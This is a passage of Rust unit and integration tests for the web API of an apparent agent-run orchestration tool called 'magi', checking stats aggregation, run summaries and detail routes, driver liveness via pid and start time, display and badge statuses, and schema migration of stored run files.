16655            "task".to_owned(),
16656            Config::default(),
16657        );
16658        blocked.id = "20260902-140502-b".to_owned();
16659        blocked.status = RunStatus::Merged;
16660        blocked.release_bump = Some(ReleaseBump {
16661            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16662            version: Some("1.0.1".to_owned()),
16663            automerge_enabled: false,
16664            merged_directly: false,
16665            local: false,
16666            release: None,
16667            problem: Some("checks red".to_owned()),
16668            action_required: Some("look at the PR".to_owned()),
16669        });
16670
16671        for state in [&clean, &blocked] {
16672            let dir = f.runs().join(&state.id);
16673            std::fs::create_dir_all(&dir).expect("run dir");
16674            std::fs::write(
16675                dir.join("run.json"),
16676                serde_json::to_string_pretty(state).expect("serialize run"),
16677            )
16678            .expect("write run.json");
16679        }
16680
16681        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16682        assert_eq!(bumps["merged"], 2);
16683        assert_eq!(bumps["recorded"], 2);
16684        assert_eq!(bumps["pr_opened"], 2);
16685        assert_eq!(bumps["automerge_enabled"], 1);
16686        assert_eq!(bumps["needs_attention"], 1);
16687        assert_eq!(bumps["clean"], 1);
16688        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16689        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16690    }
16691
16692    #[tokio::test]
16693    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16694        let f = Fixture::start().await;
16695        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16696
16697        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16698        assert_eq!(bumps["merged"], 1);
16699        assert_eq!(bumps["recorded"], 0);
16700        // `merged` is nonzero, so coverage still reads as a real 0%, not an
16701        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
16702        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16703        // `pr_opened` and `recorded` are both zero here, so these rates have
16704        // no denominator to compute from and must be null.
16705        assert_eq!(bumps["automerge_rate"], Value::Null);
16706        assert_eq!(bumps["attention_rate"], Value::Null);
16707    }
16708
16709    #[tokio::test]
16710    async fn stats_queue_counts_come_from_the_live_queue() {
16711        let f = Fixture::start().await;
16712        let q = f.queue();
16713        let mut queued = Task::new(
16714            "queued task".to_owned(),
16715            "do it".to_owned(),
16716            PathBuf::from("/repo"),
16717            Source::Human,
16718        );
16719        q.put(&mut queued).expect("put queued");
16720        let mut held = Task::new(
16721            "held task".to_owned(),
16722            "do it later".to_owned(),
16723            PathBuf::from("/repo"),
16724            Source::Human,
16725        );
16726        held.hold_machine(Some("out of attempts".to_owned()));
16727        q.put(&mut held).expect("put held");
16728
16729        let queue = f.get("/api/stats").await.json()["queue"].clone();
16730        assert_eq!(queue["queued"], 1);
16731        assert_eq!(queue["held"], 1);
16732        assert_eq!(queue["running"], 0);
16733        assert_eq!(queue["done"], 0);
16734        assert_eq!(queue["failed"], 0);
16735        assert_eq!(queue["blocked"], 0);
16736    }
16737
16738    #[tokio::test]
16739    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16740        let f = Fixture::start().await;
16741        let stats = f.get("/api/stats").await;
16742        assert_eq!(stats.status, 200);
16743        assert_eq!(stats.json()["totals"]["runs"], 0);
16744        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16745        assert_eq!(stats.json()["runs_unreadable"], 0);
16746        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16747        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16748        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16749        assert_eq!(stats.json()["repo"], Value::Null);
16750    }
16751
16752    #[tokio::test]
16753    async fn stats_lists_every_repository_with_runs_recorded() {
16754        let f = Fixture::start().await;
16755        write_run_repo(
16756            &f.runs(),
16757            "20260902-140501-a",
16758            RunStatus::Merged,
16759            "/repos/a",
16760        );
16761        write_run_repo(
16762            &f.runs(),
16763            "20260902-140502-b",
16764            RunStatus::Merged,
16765            "/repos/a",
16766        );
16767        write_run_repo(
16768            &f.runs(),
16769            "20260902-140503-c",
16770            RunStatus::Blocked,
16771            "/repos/b",
16772        );
16773
16774        let stats = f.get("/api/stats").await;
16775        assert_eq!(stats.status, 200);
16776        // Unfiltered - the aggregate across both repositories.
16777        assert_eq!(stats.json()["totals"]["runs"], 3);
16778        assert_eq!(stats.json()["repo"], Value::Null);
16779
16780        let repos = stats.json()["repos"].clone();
16781        let repos = repos.as_array().unwrap();
16782        assert_eq!(repos.len(), 2);
16783        // Busiest (2 runs) first.
16784        assert_eq!(repos[0]["repo"], "/repos/a");
16785        assert_eq!(repos[0]["name"], "a");
16786        assert_eq!(repos[0]["runs"], 2);
16787        assert_eq!(repos[1]["repo"], "/repos/b");
16788        assert_eq!(repos[1]["runs"], 1);
16789    }
16790
16791    #[tokio::test]
16792    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16793        let f = Fixture::start().await;
16794        write_run_repo(
16795            &f.runs(),
16796            "20260902-140501-a",
16797            RunStatus::Merged,
16798            "/repos/a",
16799        );
16800        write_run_repo(
16801            &f.runs(),
16802            "20260902-140502-b",
16803            RunStatus::Blocked,
16804            "/repos/b",
16805        );
16806
16807        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16808        assert_eq!(stats.status, 200);
16809        assert_eq!(stats.json()["totals"]["runs"], 1);
16810        assert_eq!(stats.json()["totals"]["merged"], 1);
16811        assert_eq!(stats.json()["repo"], "/repos/a");
16812        // The repository list itself is unaffected by the filter - it is
16813        // what a client switches repositories from.
16814        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16815        // runs_unreadable is a whole-workload count, never scoped to the
16816        // selected repository - see StatsView::runs_unreadable's own doc.
16817        assert_eq!(stats.json()["runs_unreadable"], 0);
16818    }
16819
16820    #[tokio::test]
16821    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16822        let f = Fixture::start().await;
16823        write_run_repo(
16824            &f.runs(),
16825            "20260902-140501-a",
16826            RunStatus::Merged,
16827            "/repos/a",
16828        );
16829        write_run_repo(
16830            &f.runs(),
16831            "20260902-140502-b",
16832            RunStatus::Merged,
16833            "/repos/b",
16834        );
16835
16836        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16837            let json = f.get(uri).await.json();
16838            let daily = json["daily"].as_array().expect("daily is an array");
16839            assert_eq!(daily.len(), 30);
16840            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16841            let mut sorted = dates.clone();
16842            sorted.sort();
16843            assert_eq!(dates, sorted);
16844            for d in daily {
16845                assert_eq!(
16846                    d["merged"].as_u64().unwrap()
16847                        + d["ready"].as_u64().unwrap()
16848                        + d["other"].as_u64().unwrap(),
16849                    d["runs"].as_u64().unwrap()
16850                );
16851            }
16852            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16853        }
16854    }
16855
16856    #[tokio::test]
16857    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16858        let f = Fixture::start().await;
16859        write_run_repo(
16860            &f.runs(),
16861            "20260902-140501-a",
16862            RunStatus::Merged,
16863            "/repos/a",
16864        );
16865
16866        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16867        assert_eq!(stats.status, 404);
16868    }
16869
16870    #[tokio::test]
16871    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16872        let f = Fixture::start().await;
16873        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16874
16875        let summary = f.get("/api/runs").await.json();
16876        let row = &summary[0];
16877        assert_eq!(row["short"], "a1b2");
16878        assert_eq!(row["status"], "ready");
16879        assert_eq!(row["done"], true);
16880        assert_eq!(row["title"], "Add a web UI");
16881        assert_eq!(row["repo_name"], "magi");
16882        assert_eq!(row["judges"], 3);
16883        assert_eq!(row["winner"], Value::Null);
16884        assert_eq!(row["reviews"], 0);
16885
16886        // The short id resolves, and the detail route is the state itself, not
16887        // a projection of it: the UI reads fields the summary does not carry.
16888        let detail = f.get("/api/runs/a1b2").await;
16889        assert_eq!(detail.status, 200);
16890        assert_eq!(detail.json()["base_branch"], "main");
16891        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16892    }
16893
16894    /// `status: "ready"` alone cannot tell a run still headed for a landing
16895    /// (a PR closed without merging, say) apart from one `[merge] mode =
16896    /// "none"` left unmerged for good — the confusion the operator flagged
16897    /// after the CLI report already grew a `not landed — nothing to do by
16898    /// design` line for exactly this case (`report.rs`). Both the list route
16899    /// and the detail route must carry a flag the phone can key on instead of
16900    /// re-deriving it from `status` + `merge.mode` itself.
16901    #[tokio::test]
16902    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16903        let f = Fixture::start().await;
16904
16905        let mut none_run = RunState::new(
16906            PathBuf::from("/repo/magi"),
16907            "main".to_owned(),
16908            "0123456789abcdef".to_owned(),
16909            "Add a web UI".to_owned(),
16910            Config::default(),
16911        );
16912        none_run.id = "20260902-140503-none".to_owned();
16913        none_run.status = RunStatus::Ready;
16914        none_run.merge = Some(crate::run::MergeOutcome {
16915            mode: crate::config::MergeMode::None,
16916            ok: true,
16917            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16918            empty: false,
16919        });
16920        write_state(&f.runs(), &none_run);
16921
16922        let mut pr_run = RunState::new(
16923            PathBuf::from("/repo/magi"),
16924            "main".to_owned(),
16925            "0123456789abcdef".to_owned(),
16926            "Add a web UI".to_owned(),
16927            Config::default(),
16928        );
16929        pr_run.id = "20260902-140504-prcl".to_owned();
16930        pr_run.status = RunStatus::Ready;
16931        pr_run.merge = Some(crate::run::MergeOutcome {
16932            mode: crate::config::MergeMode::Pr,
16933            ok: false,
16934            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16935            empty: false,
16936        });
16937        write_state(&f.runs(), &pr_run);
16938
16939        let summary = f.get("/api/runs").await.json();
16940        let rows: std::collections::HashMap<&str, &Value> = summary
16941            .as_array()
16942            .expect("an array")
16943            .iter()
16944            .map(|r| (r["id"].as_str().expect("an id"), r))
16945            .collect();
16946        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16947        assert_eq!(
16948            rows[none_run.id.as_str()]["unmerged_by_design"],
16949            true,
16950            "a mode-none Ready must be flagged in the list"
16951        );
16952        assert_eq!(
16953            rows[pr_run.id.as_str()]["unmerged_by_design"],
16954            false,
16955            "a Ready reached by a closed pull request is a different case"
16956        );
16957
16958        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16959        assert_eq!(none_detail["status"], "ready");
16960        assert_eq!(none_detail["unmerged_by_design"], true);
16961
16962        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16963        assert_eq!(pr_detail["unmerged_by_design"], false);
16964    }
16965
16966    /// `RunState::active` is only ever cleared by whoever populated it, so the
16967    /// detail route also has to say whether a daemon is actually still
16968    /// driving this run right now — otherwise a seat from a killed process's
16969    /// last wave would read as live forever.
16970    #[tokio::test]
16971    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16972        let f = Fixture::start().await;
16973        // Matches `write_daemon`'s hard-coded `current.run`, so the second
16974        // half of this test can claim the daemon is working on it without a
16975        // second helper.
16976        let id = "20260902-140502-bbbb";
16977        let mut state = RunState::new(
16978            PathBuf::from("/repo/magi"),
16979            "main".to_owned(),
16980            "0123456789abcdef".to_owned(),
16981            "Add a web UI".to_owned(),
16982            Config::default(),
16983        );
16984        state.id = id.to_owned();
16985        state.status = RunStatus::Judging;
16986        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16987        let dir = f.runs().join(id);
16988        std::fs::create_dir_all(&dir).expect("run dir");
16989        std::fs::write(
16990            dir.join("run.json"),
16991            serde_json::to_string_pretty(&state).expect("serialize run"),
16992        )
16993        .expect("write run.json");
16994
16995        // No daemon.json at all, and no `driver_pid` recorded either (this
16996        // state was written directly, never through `execute()`): there is
16997        // nothing to confirm either way, so the route must say `"unknown"` —
16998        // never `"dead"`, which is exactly the false diagnosis a manual `magi
16999        // run` used to get from this route before `driver_pid` existed.
17000        let cold = f.get(&format!("/api/runs/{id}")).await.json();
17001        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17002        assert_eq!(cold["live"], "unknown", "{cold}");
17003
17004        // A fresh heartbeat naming exactly this run: the same entry now reads
17005        // as confirmed, not merely recorded.
17006        write_daemon(f.home.path(), Timestamp::now());
17007        let warm = f.get(&format!("/api/runs/{id}")).await.json();
17008        assert_eq!(warm["live"], "live", "{warm}");
17009    }
17010
17011    #[test]
17012    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17013        let home = tempfile::tempdir().expect("temp home");
17014        let runs = home.path().join("runs");
17015        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17016            let mut state = RunState::new(
17017                PathBuf::from("/repo/magi"),
17018                "main".to_owned(),
17019                "0123456789abcdef".to_owned(),
17020                "Generated review context, not authored task criteria".to_owned(),
17021                Config::default(),
17022            );
17023            state.origin = origin;
17024            state.status = RunStatus::Blocked;
17025            // Earlier migrations must not infer these facts again.
17026            state.driver_exited = false;
17027            state.gate_ran = true;
17028            let expected = serde_json::to_value(&state).expect("serialize current state");
17029            let mut legacy = expected.clone();
17030            legacy["schema"] = serde_json::json!(13);
17031            legacy.as_object_mut().unwrap().remove("task_instruction");
17032            let dir = runs.join(&state.id);
17033            std::fs::create_dir_all(&dir).expect("run dir");
17034            let path = dir.join("run.json");
17035            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17036            std::fs::write(&path, &body).expect("write legacy run");
17037
17038            for loaded in [
17039                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17040                read_run(&runs, &state.id).expect("web migration"),
17041            ] {
17042                assert_eq!(loaded.schema, crate::run::SCHEMA);
17043                assert!(loaded.task_instruction.is_none());
17044                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17045            }
17046            assert_eq!(runs_unreadable(&runs), 0);
17047            assert_eq!(std::fs::read(&path).unwrap(), body);
17048        }
17049    }
17050
17051    /// Where a run came from is shown, and a run written before origins were
17052    /// recorded (schema 12, no `origin` key) stays readable and says so.
17053    #[tokio::test]
17054    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17055        let f = Fixture::start().await;
17056        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17057            let mut state = RunState::new(
17058                PathBuf::from("/repo/magi"),
17059                "main".to_owned(),
17060                "0123456789abcdef".to_owned(),
17061                "Add a web UI".to_owned(),
17062                Config::default(),
17063            );
17064            state.id = id.to_owned();
17065            state.origin = origin;
17066            let mut value = serde_json::to_value(&state).expect("serialize run");
17067            if let Some(schema) = schema {
17068                value["schema"] = serde_json::json!(schema);
17069                value.as_object_mut().unwrap().remove("origin");
17070            }
17071            let dir = f.runs().join(id);
17072            std::fs::create_dir_all(&dir).expect("run dir");
17073            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17074        };
17075        write(
17076            "20260930-092817-ec34",
17077            Some(crate::run::Origin::from_agent_env(
17078                Some(("4a7b".to_owned(), "chat".to_owned())),
17079                None,
17080            )),
17081            None,
17082        );
17083        write("20260930-092817-0ld1", None, Some(12));
17084
17085        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17086        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17087        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17088
17089        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17090        assert_eq!(
17091            old["origin_label"], "origin unknown (started before origins were recorded)",
17092            "{old}"
17093        );
17094        assert!(old["origin"].is_null(), "{old}");
17095
17096        let list = f.get("/api/runs").await.json();
17097        let labels: Vec<_> = list
17098            .as_array()
17099            .unwrap()
17100            .iter()
17101            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17102            .collect();
17103        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17104    }
17105
17106    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
17107    /// review` claims no daemon at all, so before this field existed the
17108    /// route above read it as `"dead"` — indistinguishable from a run a
17109    /// killed process abandoned — the whole time it was genuinely still
17110    /// answering. With a live pid recorded, it must read `"live"` even
17111    /// though no daemon claims it.
17112    #[tokio::test]
17113    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17114        let f = Fixture::start().await;
17115        let id = "20260922-090000-cccc";
17116        let mut state = RunState::new(
17117            PathBuf::from("/repo/magi"),
17118            "main".to_owned(),
17119            "0123456789abcdef".to_owned(),
17120            "Review only".to_owned(),
17121            Config::default(),
17122        );
17123        state.id = id.to_owned();
17124        state.status = RunStatus::Reviewing;
17125        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17126        // This test process's own pid: guaranteed alive, and never needs a
17127        // real daemon or a second process to prove it. The matching start-time
17128        // marker is what `liveness` now requires alongside a live pid — see
17129        // `RunState::driver_started_at`'s own doc for why the pid alone is
17130        // not enough.
17131        state.driver_pid = Some(std::process::id());
17132        state.driver_started_at = Some(
17133            crate::proc::process_started_at(std::process::id())
17134                .expect("this test process's own start time must be queryable"),
17135        );
17136        let dir = f.runs().join(id);
17137        std::fs::create_dir_all(&dir).expect("run dir");
17138        std::fs::write(
17139            dir.join("run.json"),
17140            serde_json::to_string_pretty(&state).expect("serialize run"),
17141        )
17142        .expect("write run.json");
17143
17144        let detail = f.get(&format!("/api/runs/{id}")).await.json();
17145        assert_eq!(detail["live"], "live", "{detail}");
17146    }
17147
17148    /// A killed manual run's pid can be handed to a wholly unrelated later
17149    /// process — a live query on `driver_pid` alone would read this as
17150    /// `"live"`, exactly the false positive `driver_started_at` exists to
17151    /// catch (see that field's own doc, and `RunState::liveness_with`'s
17152    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
17153    #[tokio::test]
17154    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17155        let f = Fixture::start().await;
17156        let id = "20260922-090100-dddd";
17157        let mut state = RunState::new(
17158            PathBuf::from("/repo/magi"),
17159            "main".to_owned(),
17160            "0123456789abcdef".to_owned(),
17161            "Review only".to_owned(),
17162            Config::default(),
17163        );
17164        state.id = id.to_owned();
17165        state.status = RunStatus::Reviewing;
17166        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17167        // This test process's own pid really is alive, but the marker
17168        // recorded here does not match what it actually started at —
17169        // standing in for the pid having since been reused by a different
17170        // process than the one that wrote `run.json`.
17171        state.driver_pid = Some(std::process::id());
17172        state.driver_started_at = Some("1".to_owned());
17173        let dir = f.runs().join(id);
17174        std::fs::create_dir_all(&dir).expect("run dir");
17175        std::fs::write(
17176            dir.join("run.json"),
17177            serde_json::to_string_pretty(&state).expect("serialize run"),
17178        )
17179        .expect("write run.json");
17180
17181        let detail = f.get(&format!("/api/runs/{id}")).await.json();
17182        assert_eq!(detail["live"], "dead", "{detail}");
17183    }
17184
17185    /// The deck's competition list is normally the first place an operator
17186    /// sees an old run. It must carry the same process verdict as detail, or
17187    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
17188    #[test]
17189    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17190        let mk = |id: &str, pid: Option<u32>| {
17191            let mut s = RunState::new(
17192                PathBuf::from("/repo/magi"),
17193                "main".to_owned(),
17194                "0123456789abcdef".to_owned(),
17195                "Add a web UI".to_owned(),
17196                Config::default(),
17197            );
17198            s.id = id.to_owned();
17199            s.driver_pid = pid;
17200            s.driver_started_at = Some("1790000000".to_owned());
17201            s
17202        };
17203        let states = vec![
17204            mk("20260902-140502-aaaa", Some(77)),
17205            mk("20260902-140502-bbbb", Some(77)),
17206            mk("20260902-140502-cccc", Some(77)),
17207            mk("20260902-140502-dddd", None),
17208        ];
17209        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17210        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17211        let sup: HashMap<String, String> = [(
17212            "20260902-140502-aaaa".to_owned(),
17213            "20260902-140502-cccc".to_owned(),
17214        )]
17215        .into();
17216
17217        let status_calls = std::cell::Cell::new(0);
17218        let identity_calls = std::cell::Cell::new(0);
17219        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17220            |_| {
17221                status_calls.set(status_calls.get() + 1);
17222                Some(true)
17223            },
17224            |_| {
17225                identity_calls.set(identity_calls.get() + 1);
17226                Some("1790000000".to_owned())
17227            },
17228        ));
17229        let rows = summarize(
17230            states,
17231            &open,
17232            &claimed,
17233            &sup,
17234            |p| probe.borrow_mut().status(p),
17235            |p| probe.borrow_mut().started_at(p),
17236        );
17237
17238        assert_eq!(status_calls.get(), 1, "one pid, one status query");
17239        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17240        assert_eq!(rows.len(), 4);
17241        assert!(!rows[0].waiting && rows[1].waiting);
17242        assert_eq!(rows[0].live, crate::run::Liveness::Live);
17243        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17244        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17245        assert_eq!(rows[1].superseded_by, None);
17246    }
17247
17248    #[test]
17249    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17250        let mut state = RunState::new(
17251            PathBuf::from("/repo/magi"),
17252            "main".to_owned(),
17253            "0123456789abcdef".to_owned(),
17254            "Review only".to_owned(),
17255            Config::default(),
17256        );
17257        state.id = "20260922-090200-dead".to_owned();
17258        state.status = RunStatus::Reviewing;
17259        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17260            .expect("serialize list row");
17261        assert_eq!(row["status"], "reviewing");
17262        assert_eq!(row["display_status"], "stale");
17263        assert_eq!(row["live"], "dead", "{row}");
17264        assert!(!row["done"].as_bool().unwrap());
17265    }
17266
17267    #[test]
17268    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17269        use crate::run::Liveness::{Dead, Live, Unknown};
17270        let mut state = RunState::new(
17271            PathBuf::from("/repo/magi"),
17272            "main".to_owned(),
17273            "abc".to_owned(),
17274            "Review only".to_owned(),
17275            Config::default(),
17276        );
17277        for (status, parked, node, waiting, live, expected) in [
17278            (
17279                RunStatus::Judging,
17280                true,
17281                "github-text",
17282                false,
17283                Dead,
17284                "parked",
17285            ),
17286            (RunStatus::Judging, false, "park", false, Dead, "stale"),
17287            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17288            (
17289                RunStatus::Judging,
17290                true,
17291                "github-text",
17292                true,
17293                Dead,
17294                "waiting",
17295            ),
17296            (
17297                RunStatus::Judging,
17298                false,
17299                "github-text",
17300                true,
17301                Dead,
17302                "waiting",
17303            ),
17304            (
17305                RunStatus::Judging,
17306                false,
17307                "github-text",
17308                false,
17309                Dead,
17310                "stale",
17311            ),
17312            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17313            (RunStatus::Judging, true, "park", false, Live, "judging"),
17314            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17315            (RunStatus::Merged, true, "park", false, Dead, "merged"),
17316            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17317            (
17318                RunStatus::Blocked,
17319                true,
17320                "github-text",
17321                true,
17322                Dead,
17323                "waiting",
17324            ),
17325        ] {
17326            state.status = status;
17327            state.parked = parked;
17328            state.events.clear();
17329            state.event(
17330                "park",
17331                "an earlier park does not determine the latest state",
17332            );
17333            state.event(node, "message is not used for classification");
17334            let summary = RunSummary::of(&state, waiting, live);
17335            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17336            assert_eq!(
17337                summary.display_status, expected,
17338                "{status:?}/{node}/{live:?}"
17339            );
17340            assert_eq!(detail.display_status, summary.display_status);
17341            assert_eq!(detail.waiting, summary.waiting);
17342        }
17343        state.status = RunStatus::Judging;
17344        state.parked = false;
17345        state.events.clear();
17346        assert_eq!(run_display_status(&state, false, Dead), "stale");
17347    }
17348
17349    #[test]
17350    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17351        use crate::run::Liveness::{Dead, Live, Unknown};
17352        let mut state = RunState::new(
17353            PathBuf::from("/repo/magi"),
17354            "main".to_owned(),
17355            "abc".to_owned(),
17356            "Badge".to_owned(),
17357            Config::default(),
17358        );
17359        for (status, waiting, live, superseded, expected) in [
17360            (RunStatus::Gating, false, Dead, false, "stale"),
17361            (RunStatus::Gating, false, Dead, true, "superseded"),
17362            (RunStatus::Gating, false, Unknown, true, "superseded"),
17363            (RunStatus::Gating, true, Dead, true, "superseded"),
17364            (RunStatus::Gating, true, Dead, false, "waiting"),
17365            (RunStatus::Gating, false, Unknown, false, "gating"),
17366            (RunStatus::Gating, false, Live, true, "gating"),
17367            (RunStatus::Gating, true, Live, true, "waiting"),
17368            (RunStatus::Merged, false, Dead, true, "merged"),
17369            (RunStatus::Blocked, false, Dead, true, "blocked"),
17370        ] {
17371            state.status = status;
17372            let display = run_display_status(&state, waiting, live);
17373            assert_eq!(
17374                run_badge_status(&state, &display, live, superseded),
17375                expected,
17376                "{status:?}/{live:?}/superseded={superseded}"
17377            );
17378        }
17379    }
17380
17381    #[test]
17382    fn summarize_and_detail_expose_badge_status() {
17383        use crate::run::Liveness::Dead;
17384        let mut state = RunState::new(
17385            PathBuf::from("/repo/magi"),
17386            "main".to_owned(),
17387            "abc".to_owned(),
17388            "Badge".to_owned(),
17389            Config::default(),
17390        );
17391        state.status = RunStatus::Gating;
17392        let none = HashSet::new();
17393        let id = state.id.clone();
17394        let mut by = HashMap::new();
17395        let rows = summarize(
17396            [state.clone()],
17397            &none,
17398            &none,
17399            &by,
17400            |_| Some(false),
17401            |_| None,
17402        );
17403        // No driver recorded: liveness is not provably dead, so the node stays.
17404        assert_eq!(rows[0].badge_status, rows[0].display_status);
17405        by.insert(id, "20260901-000000-913b".to_owned());
17406        let detail = RunDetailView::of(
17407            state.clone(),
17408            false,
17409            Dead,
17410            Some("913b".to_owned()),
17411            None,
17412            None,
17413        );
17414        assert_eq!(detail.badge_status, "superseded");
17415        let json = serde_json::to_value(&detail).unwrap();
17416        assert_eq!(json["badge_status"], "superseded");
17417        let detail = RunDetailView::of(state, false, Dead, None, None, None);
17418        assert_eq!(detail.badge_status, "stale");
17419    }
17420
17421    #[tokio::test]
17422    async fn run_display_status_routes_share_the_open_question_store() {
17423        let f = Fixture::start().await;
17424        let id = "20260922-090200-abcd";
17425        write_run(&f.runs(), id, RunStatus::Judging);
17426        let mut state = read_run(&f.runs(), id).unwrap();
17427        state.parked = true;
17428        state.driver_exited = true;
17429        state.event("github-text", "waiting for the owner");
17430        state.save_under(f.home.path()).unwrap();
17431        let mut task = Task::new(
17432            "resumed task".to_owned(),
17433            "do it".to_owned(),
17434            PathBuf::from("/repo"),
17435            Source::Human,
17436        );
17437        task.runs = vec![id.to_owned(), id.to_owned()];
17438        f.queue().put(&mut task).unwrap();
17439        let store = f.questions();
17440        let mut q = Question::new(
17441            id.to_owned(),
17442            "github-text".to_owned(),
17443            "owner".to_owned(),
17444            "Approve the text?".to_owned(),
17445            String::new(),
17446            Vec::new(),
17447        );
17448        store.put(&mut q).unwrap();
17449        for expected in ["waiting", "parked"] {
17450            let list = f.get("/api/runs").await.json();
17451            let detail = f.get(&format!("/api/runs/{id}")).await.json();
17452            assert_eq!(list[0]["display_status"], expected);
17453            assert_eq!(detail["display_status"], expected);
17454            assert_eq!(detail["waiting"], list[0]["waiting"]);
17455            assert_eq!(list[0]["badge_status"], expected);
17456            assert_eq!(detail["badge_status"], expected);
17457            assert!(list[0]["superseded_by"].is_null());
17458            assert!(detail["superseded_by"].is_null());
17459            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17460            let history = task_detail["history"].as_array().unwrap();
17461            assert_eq!(history.len(), 2);
17462            assert!(history[0]["badge"].is_null());
17463            assert_eq!(history[1]["badge"], expected);
17464            q.status = ask::QuestionStatus::Answered;
17465            store.put(&mut q).unwrap();
17466        }
17467    }
17468
17469    #[tokio::test]
17470    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17471        let f = Fixture::start().await;
17472        let id = "20260922-090200-abcd";
17473        write_run(&f.runs(), id, RunStatus::Judging);
17474        let mut state = read_run(&f.runs(), id).unwrap();
17475        state.parked = true;
17476        state.driver_exited = true;
17477        state.event("park", "stopped at a node boundary");
17478        state.save_under(f.home.path()).unwrap();
17479
17480        for expected in ["parked", "stale"] {
17481            let list = f.get("/api/runs").await.json();
17482            let detail = f.get(&format!("/api/runs/{id}")).await.json();
17483            assert_eq!(list[0]["live"], "dead");
17484            assert_eq!(list[0]["display_status"], expected);
17485            assert_eq!(detail["display_status"], expected);
17486            // Model a driver claim followed by a crash before the next event:
17487            // the persisted flag changes, but the last event is still park.
17488            state.parked = false;
17489            state.save_under(f.home.path()).unwrap();
17490        }
17491    }
17492
17493    #[tokio::test]
17494    async fn the_run_list_is_newest_first_and_honours_a_limit() {
17495        let f = Fixture::start().await;
17496        for id in [
17497            "20260902-140501-aaaa",
17498            "20260902-140502-bbbb",
17499            "20260902-140503-cccc",
17500        ] {
17501            write_run(&f.runs(), id, RunStatus::Merged);
17502        }
17503
17504        let all = f.get("/api/runs").await.json();
17505        let capped = f.get("/api/runs?limit=2").await.json();
17506
17507        assert_eq!(all[0]["id"], "20260902-140503-cccc");
17508        assert_eq!(all.as_array().map(Vec::len), Some(3));
17509        assert_eq!(capped.as_array().map(Vec::len), Some(2));
17510        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17511    }
17512
17513    #[tokio::test]
17514    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17515        let f = Fixture::start().await;
17516        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17517
